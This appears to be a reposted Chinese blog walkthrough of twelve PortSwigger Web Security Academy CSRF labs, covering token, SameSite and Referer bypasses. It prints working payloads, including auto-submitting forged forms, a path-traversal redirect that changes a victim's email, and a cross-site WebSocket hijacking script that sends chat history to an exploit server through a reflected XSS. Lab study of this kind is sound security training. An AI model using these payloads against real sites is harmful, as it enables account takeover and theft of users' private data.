PortSwigger web实验室-CSRF篇(BP靶场) - 实践
2025-10-22 16:21 tlnshuju 阅读(0) 评论(0) 收藏 举报目录
前言
上期回顾
靶场信息
靶场地址
题解
1.无防御的 CSRF 漏洞
解题思路
解题过程
2.CSRF,其中令牌验证取决于请求方法
解题思路
解题过程
3.CSRF,其中令牌验证取决于令牌是否存在
解题思路
解题过程
4.令牌与用户会话不绑定的 CSRF
解题思路
解题思路
解题思路
解题过程
解题思路
解题过程
7.通过方法覆盖绕过 SameSite Lax
解题思路
解题过程
8.通过客户端重定向绕过 SameSite Strict
解题思路
解题过程
9.通过同级域绕过 SameSite Strict
解题思路
解题过程
解题思路
解题过程
11.CSRF,其中 Referer 验证取决于是否存在标头
解题思路
解题过程
12.Referer 验证失败的 CSRF
解题思路
解题过程
写在最后
前言
Hello 大家好!这篇笔记我将分享在 BP 靶场学习 CSRF 时的一些思路和总结,主要围绕解题过程中的关键细节、常见绕过方式以及容易忽略的点。我会尽量把每一步讲清楚,方便大家理解。如果有不完善的地方,欢迎指出,我们一起讨论、共同进步!希望这篇内容能为正在学习 CSRF 的你带来一些启发~ (▀̿Ĺ̯▀̿ ̿)
上期回顾
PortSwigger web实验室-XSS篇下(BP靶场)-CSDN博客
靶场信息
靶场地址
What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy
题解
1.无防御的 CSRF 漏洞
解题思路
因为本题是无任何防御的 CSRF ,因此只需要我们生成简单的 CSRF PoC 进行验证就好了。
解题过程
进入页面,登录靶场提供的账号登录。在更改邮箱处更改邮箱地址然后抓包,然后按下图所示操作生成 CSRF PoC 进行验证
将生成的HTML复制保存到靶场提供给我们的服务器,然后发送给受害者即可
如果用的不是 BP 专业版,可以参考模板:
Payload:
history.pushState('', '', '/');
document.forms[0].submit();
2.CSRF,其中令牌验证取决于请求方法
解题思路
更改邮箱地址的提交方式是 POST ,根据提示,本题令牌验证取决于请求方法,先尝试直接修改令牌值,再尝试修改提交方式,观察是否会验证令牌,最后再生成 PoC 放到我们的服务器发送给受害者。
解题过程
进入页面,先登录靶场提供的账号。修改邮箱地址并利用 BP 抓包,发送到 Repeater 然后把包丢弃关闭拦截,开始尝试修改 csrf 令牌值。
此时发现会验证令牌,右键请求修改请求方式,再次尝试
发现绕过了 csrf 令牌验证,开始生成 PoC
生成后复制 HTML ,写入靶场提供的服务器,然后发送给受害者 (注意邮箱地址要与当前的账号邮箱不同)
如果用的不是 BP 专业版,可以参考模板:
Payload:
history.pushState('', '', '/');
document.forms[0].submit();
3.CSRF,其中令牌验证取决于令牌是否存在
解题思路
根据提示,本题令牌验证取决于令牌是否存在。可以先尝试修改令牌看看是否能通过验证,再直接将 csrf 参数完全删除,观察请求是否被接受。最后再生成 PoC 放到我们的服务器发送给受害者。
解题过程
进入页面,登录靶场提供的账号,修改邮箱地址并利用 BP 抓包,发送到 Repeater 然后把包丢弃关闭拦截,开始尝试修改 csrf 令牌值。
无法通过验证,尝试直接将 csrf 参数完全删除
发现可以绕过 csrf ,开始生成 PoC
生成后复制 HTML ,写入靶场提供的服务器,然后发送给受害者
如果用的不是 BP 专业版,可以参考模板:
Payload:
history.pushState('', '', '/');
document.forms[0].submit();
4.令牌与用户会话不绑定的 CSRF
解题思路
本题设置了令牌来阻止 CSRF 攻击,但是令牌并未集成到网站的会话处理系统中,它和用户的Session 并没有绑定关系。也就是说可能只要拿到一个合法的 token,就可以在别的会话里使用,而不会被拒绝。我们可以利用靶场提供的两个账号,抓到其中一个包之后将令牌另一个账号的令牌尝试能否绕过验证。(要注意CSRF 令牌是一次性的)
解题过程
打开两个网页登录靶场提供给我们的两个账号,先查看复制其中一个账号的令牌,再用 BP 抓到另一个包,将这个账号的令牌改成刚刚复制的账号的令牌,修改邮箱地址,查看是否能够绕过验证。
成功绕过了 csrf 检测。所以我们只要用自己的账号拿到一个合法的令牌,就可进行 CSRF 攻击。此时重新抓一个账号的包,发送到 Repeater ,然后将包丢弃(一定要丢弃,因为令牌是一次性的,用过的令牌无法再用)。生成PoC写入靶场提供的服务器,发送给受害者
5.将令牌与非会话 cookie 绑定的 CSRF
CRLF 是两个特殊的控制字符
CR = Carriage Return = \r = 回车
LF = Line Feed = \n = 换行
合起来 CRLF = \r\n。
在 HTTP 协议里,每一行头部都是用 \r\n 结尾的,也就是说,CRLF 表示“这一行结束了”。如果一个网站把用户输入拼进响应头或响应内容,但没有过滤 \r\n,攻击者就能注入新的响应头。
解题思路
本题令牌并未完全集成到网站的会话处理系统中,抓包之后会发现 cookie 中多了一个参数 csrfKey,经过测试可以发现 csrfKey cookie 可能与会话没有严格的关联,而令牌可能是与参数csrfKey 关联而不是与 session 绑定,可以利用这一点绕过限制。
解题过程
打开两个页面分别登录靶场提供的两个账号,修改其中一个账号(这里我选择carlos)的邮箱地址利用 BP 抓包,修改 session 的值
此时发现退出了登录,将session改回来后修改 csrfKey
此时发现更改 csrfKey 仅仅会导致 CSRF 令牌被拒绝,猜测令牌可能与 csrfKey 参数绑定。此时尝试用用户 wiener 的 csrfKey 和 令牌 替换用户 carlos 的令牌
成功绕过限制,重新抓包生成 PoC ,将自动提交的<script>标签删除,加入<img>标签
%0d%0a → \r\n(回车换行,CRLF)
解码后:
search 参数中实际插入了一个换行,然后追加了响应头写入 csrfKey 参数,此时就成功将我们合法的令牌和参数 csrfKey 绑定在一起,可以绕过限制
Payload:
//YOUR-KEY:抓包时跟令牌绑定在一起的参数 csrfKey
6.CSRF,其中 cookie 中存在重复的 token
解题思路
本题 cookie 中存在重复的 token ,试图利用不安全的“双重提交”CSRF 预防技术。而经过测试可以发现,令牌并不与会话绑定,而是通过验证两个令牌值是否一致来判断令牌是否正确。其中一个令牌被写在响应头处,一个通过表单提交。此时只需要在进行普通 CSRF 攻击时,写入响应头的令牌值,令两个令牌值一致即可绕过。
解题过程
进入页面登录靶场提供的账号,利用 BP 抓包,发现有两个令牌
此时只修改其中任意一个令牌,都会被限制
而当我将两个令牌同时修改,且保持一致时,发现成功绕过了限制
因此可以判断是通过验证两个令牌是否一致来判定令牌是否有效,此时生成 PoC ,删除自动提交的<script>标签,插入<img>标签
SameSite=None 是 Cookie 的一个属性,用来控制浏览器在 跨站请求 时是否会自动带上这个 Cookie
通过这样在响应头写入我们想要的 token ,使得响应头的token和表单提交的token一致
复制后写入靶场提供的服务器
7.通过方法覆盖绕过 SameSite Lax
SameSite 是一个 Cookie 属性,用来控制 浏览器在跨站请求时是否发送 Cookie。它是为防御 CSRF(跨站请求伪造)、某些跨站信息泄露而设计的。(详细请查阅靶场主页相关介绍)
解题思路
本题是没有涉及任何不可预测的令牌,但是要绕过 SameSite Lax ,可以通过GET从受害者的浏览器引出请求来执行 CSRF 攻击,只要请求涉及顶级导航,浏览器仍然会包含受害者的会话 Cookie。但是修改邮箱的提交方式是 POST,无法使用 GET,需要通过覆盖请求行中指定方法来绕过。
解题过程
进入网页打开代理,登录靶场提供的账号,更新邮箱地址,在 BP 历史记录里面找到响应POST /login ,发现该网站在设置会话 Cookie 时未明确指定任何 SameSite 限制,浏览器将使用默认Lax限制级别
找到更改邮箱地址的响应包,绕过Lax限制,需要GET请求且涉及顶级导航,但是直接更改请求方式是不行的
所以需要覆盖请求行中指定方法(后续操作参考此方法)
先将请求生成PoC
复制生成的PoC然后粘贴到靶场提供的服务器,按照下图进行修改
8.通过客户端重定向绕过 SameSite Strict
解题思路
本题是 SameSite=Strict 的限制,只有用户在 同站点内导航(比如点击站内链接)时,Cookie 才会被带上。通过客户端重定向绕过,浏览器认为跨站 → 同站的“链式跳转”是用户主动行为的一部分,因此最后一步的请求可能会带上 Cookie。受害者访问恶意站点,恶意站点返回一个网页,里面用JavaScript做客户端重定向,跳转到另一个页面,这时 SameSite=Strict 的限制可能会被绕过,Cookie 会被附带。
解题过程
进入网页打开代理,登录靶场提供的账号,更新邮箱地址,在 BP 历史记录里面找到响应POST /login ,发现该网站在设置会话 Cookie 时明确指定了 SameSite=Strict 限制
在浏览器中,打开其中一篇博客文章并发表一条任意评论。你会发现,你最初会被跳转到一个确认页面,/post/comment/confirmation?postId=x但几秒钟后,你又回到了博客文章页面。在 Burp 中,转到代理历史记录并注意此重定向是使用导入的 JavaScript 文件在客户端处理的 /resources/js/commentConfirmationRedirect.js。
选择该请求然后右键复制网址,尝试修改 postId 参数的值
/post/comment/confirmation?postId=foo
尝试注入路径遍历序列,以便动态构建的重定向 URL 指向您的帐户页面
/post/comment/confirmation?postId=1/../../my-account
#目录回溯,转到/my-account
可见成功跳转到帐户页面,并且处在登陆状态
在靶场提供的服务器写入以下脚本,并查看漏洞
document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=../my-account";
发现仍然会跳转到已登录的账户页面,这证实了浏览器在第二个请求中包含了你已验证的会话 cookie。
修改邮箱地址并在 BP 找到请求包发送到 Repeater 然后更改请求方法
可以发现允许使用 GET 请求修改邮箱地址,返回漏洞服务器并更改postId
漏洞中的参数,以便重定向导致浏览器发送GET
更改电子邮件地址的等效请求
Payload:
document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
#在构造请求 URL 时,应当对参数进行完整包含与适当的 URL 编码,并使用 & 符号作为参数分隔符,以确保请求格式规范,避免因特殊字符未编码而导致参数边界被突破或路径解析异常的情况。
9.通过同级域绕过 SameSite Strict
CSWSH:跨站 WebSocket 劫持,浏览器允许跨域建立 WebSocket(通过 HTTP 升级握手),如果服务器在握手/连接时不验证 Origin 或其它凭证绑定,攻击者站点可以让用户的浏览器在用户已经登录目标站点的情况下建立连接并收/发消息,从而实现未授权的操作或窃取敏感信息
(建议在尝试此实验之前完成或了解有关WebSocket 漏洞的主题)
解题思路
本题存在 CSWSH 漏洞,主要难点在于绕过 SameSite Strict,此时需要通过兄弟域(同级域)来绕过限制,使在跨站时带上cookie。在绕过 SameSite Strict 限制之后就可以进行 CSWSH 攻击了。
解题过程
进入网页之后打开代理,进入实时聊天页面,任意发送一些消息。
找到 WebSocket 握手请求,没有包含任何不可预测的令牌,绕过 SameSite Strict 限制可能就能进行 CSWSH 的攻击。
刷新一下聊天页面,浏览器会向服务器发送一条消息(READY),这会导致服务器返回完整的聊天记录
接下来验证一下 CSWSH ,在靶场提供的服务器构造 CSWSH 脚本。
var ws = new WebSocket('wss://0a790030040214b2804c1c1100850090.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
var message = event.data;
fetch('https://exploit-0a65003204db14b580491b2d01bd0057.exploit-server.net/exploit?message=' + btoa(message));
};
//新建一个 WebSocket 连接到指定的 wss:// 地址,当 WebSocket 连接成功打开(onopen 触发)时,向对端发送字符串 "READY",这会导致服务器返回完整的聊天记录。然后通过 fetch() 向攻击者控制的 HTTP(s) 服务器 发起一次 GET 请求,把编码后的消息放在 ?message= 查询参数里。这会把收到的消息“回传”到攻击者服务器。
PS:这里为了方便我没有使用 Burp Collaborator,而是直接使用了本题提供的服务器,然后在日志查看交互
发送给受害者,然后查看日志
进行解码
此时可以确定 CSWSH 漏洞,但是泄露的是全新的聊天记录。回到 BP HTTP 历史记录,找到由脚本触发的 WebSocket 握手请求,发现会话 cookie 未随请求发送。
这是网站 SameSite Strict 限制的原因。但此时却发现了他的兄弟域
尝试访问该网站来发现了一个额外的登录表单,输入任意用户名和密码
发现用户名反映在 Invalid username
消息的响应中,尝试通过参数注入XSS有效负载username
确认这是一个可行的反射型 XSS ,抓到该数据包然后发送到 Repeater,修改请求方式为 GET ,确保它仍然收到相同的响应
右键复制url然后到浏览器测试,确保仍然能触发XSS。
因为是同级域,所以在进行跨域的时候不会受到 SameSite 限制。
将之前在漏洞服务器上测试过的 CSWSH 脚本进行url编码
var ws = new WebSocket('wss://0a2d000003322151803d305e009f002d.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
var message = event.data;
fetch('https://exploit-exploit-0a6a00b4030321bd808c2f8701fc007c.exploit-server.net/exploit?message=' + btoa(message));
};
//进行url编码
在漏洞服务器创建一个脚本,诱导受害者的浏览器发送你刚刚测试过的请求,但使用 URL 编码的 CSWSH 有效负载作为 username
参数(将编码过的 CSWSH 脚本 注入 参数 username 引起 XSS)
document.location = "https://cms-0a2d000003322151803d305e009f002d.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%32%64%30%30%30%30%30%33%33%32%32%31%35%31%38%30%33%64%33%30%35%65%30%30%39%66%30%30%32%64%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%20%20%20%20%77%73%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%73%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%20%20%20%20%77%73%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%76%61%72%20%6d%65%73%73%61%67%65%20%3d%20%65%76%65%6e%74%2e%64%61%74%61%3b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%36%61%30%30%62%34%30%33%30%33%32%31%62%64%38%30%38%63%32%66%38%37%30%31%66%63%30%30%37%63%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%65%78%70%6c%6f%69%74%3f%6d%65%73%73%61%67%65%3d%27%20%2b%20%62%74%6f%61%28%6d%65%73%73%61%67%65%29%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=123";
保存并转发给受害者,然后查看日志
发现返回了所有聊天记录,将几条记录逐条解码,找到包含用户名和密码的记录
利用该账号密码进行登录即可通过本关
此时查看HTTP 历史记录可以发现脚本触发的 WebSocket 握手请求带上了会话 Cookie
10.通过 cookie 刷新绕过 SameSite Lax
解题思路
本题是 SameSite Lax ,无法通过方法覆盖的方式绕过,根据提示可以通过cookie 刷新绕过。但是我在测试中发现,不管是处于登录前120s,登录120s后,还是登出状态,都会自动启动完整的 OAuth 流程登录账号。接下来我会按照官方的解题过程进行解题。
解题过程
进入页面打开代理,登录靶场提供的账号密码。网站在设置会话 Cookie 时未明确指定任何 SameSite 限制。因此,浏览器将使用默认Lax限制级别。
抓到修改邮箱地址的请求包,生成PoC
写入靶场提供的服务器,保存后查看漏洞,可以发现邮箱地址被修改,查看代理历史,可见发送的change-email 请求中会带 cookie
history.pushState('', '', '/');
document.forms[0].submit();
成功修改了邮箱地址
在浏览器中访问/social-login
,这将自动启动完整的 OAuth 流程。如果仍与 OAuth 服务器保持登录会话,则所有操作无需任何交互即可完成。
修改 JavaScript,使攻击首先通过强制受害者的浏览器访问 来刷新受害者的会话/social-login
,然后在短暂的暂停后提交电子邮件更改请求
window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
function changeEmail(){
document.forms[0].submit();
}
当我在服务器写入此代码后,查看代码时发现弹窗会被浏览器自动拦截,也可以成功修改邮箱地址
绕过弹出窗口阻止程序,调整漏洞利用程序,使其诱使受害者点击页面,并且仅在用户点击后才打开弹窗。
Click anywhere on the page
window.onclick = () => {
window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail() {
document.forms[0].submit();
}
写入服务器后保存发送给受害者(邮箱地址要与之前的不一致)
查看漏洞
点击任意地方,之后邮箱地址被修改
11.CSRF,其中 Referer 验证取决于是否存在标头
解题思路
网站在防御 CSRF 时,会检查请求的 Referer 请求头,确保请求是从本站页面发出的,当 Referer 不存在时,有的站点选择放行(宽松,可能导致绕过)。根据本题的提示可以尝试删除 Referer ,验证是否可以绕过限制
解题过程
进入网页,登录靶场提供的账号,然后更新邮箱地址,用 BP 抓到该请求包。更改 Referer HTTP 标头中的域,发现请求被拒绝
而完全删除 Referer 标头则请求被接受
由此可知,可以通过抑制 Referer 标头来绕过限制。重新抓一个修改邮箱地址的请求包,生成 PoC,添加此代码
#当用户从当前页面点击链接、加载图片、发送请求时,不要在请求头里带上 Referer 信息
然后写入靶场提供的服务器,保存然后发送给受害者
Payload:
history.pushState('', '', '/');
document.forms[0].submit();
#邮箱地址记得要与目前的不一致
12.Referer 验证失败的 CSRF
解题思路
本题是损坏的 Referer 验证,需要绕过 Referer 验证,经过测试可以发现该网站似乎接受任何 Referer 标头,只要它在字符串中的某处包含预期的域名。也就是说只要 Referer 标头 存在受害者的域名,就可以绕过限制。
解题过程
进入网页,登录靶场提供的账号,修改邮箱地址并抓到该请求包。发送到 Repeater ,直接修改Referer ,发现请求被拒绝。
尝试将实验室原始域名以查询字符串的形式附加到 Referer 标头中
Referer: https://arbitrary-incorrect-domain.net?YOUR-LAB-ID.web-security-academy.net
请求被接受,可以推测后端只验证是否包含预期域名,只要它在字符串中的某处包含预期的域名请求就可以被接受,可以利用这一点绕过Referer 验证。
重修抓一个修改邮箱地址的请求包,生成 PoC
Payload:
history.pushState('', '', '/?YOUR-LAB-ID.web-security-academy.net');
document.forms[0].submit();
# history.pushState(): 在不刷新页面的情况下改变浏览器地址栏的 URL
将修改后的 PoC 写入靶场提供的服务器,并在 Head 部分写入
Referrer-Policy: unsafe-url
#始终发送完整的 URL(包括协议、域名、路径、查询参数)作为 Referer,不管请求是 同源 还是 跨源,都会带上完整的 Referer。
写在最后
本次关于 BP 靶场中关于 CSRF 的学习分享就到这里啦~感兴趣的同学可以关注我哦!后续还会继续更新其他板块的学习内容⁂((✪⥎✪))⁂
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/943488.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!